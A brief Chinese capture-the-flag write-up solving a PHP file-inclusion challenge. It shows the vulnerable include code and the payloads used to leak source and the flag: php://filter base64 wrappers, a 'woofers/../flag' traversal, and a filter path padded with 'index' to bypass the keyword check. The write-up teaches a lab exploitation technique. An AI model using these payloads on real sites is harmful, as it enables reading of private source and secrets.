打开靶机
点击了一下WOOFERS,发现url类似于文件包含
尝试包含index.php
php://filter/read=convert.base64-encode/resource=index.php
的确存在文件包含,但报错了,应该是包含的文件不对,一番尝试后,发现应该去掉后缀,如下
php://filter/read=convert.base64-encode/resource=index
给了一串编码,使用base64解码
其中PHP源码为
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
大致意思是传入的category
需要有woofers
,meowers
,index
才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php,直接读试试
/index.php?category=woofers/../flag
页面源代码里出现了这句话
页面内容变了但是没报错,说明包含对了,但是需要读取flag.php
那就包含试一试,这里加入index是因为要满足上面说的条件
/index.php?category=php://filter/convert.base64-encode/index/resource=flag
给了一串代码,base64解码如下
得到flag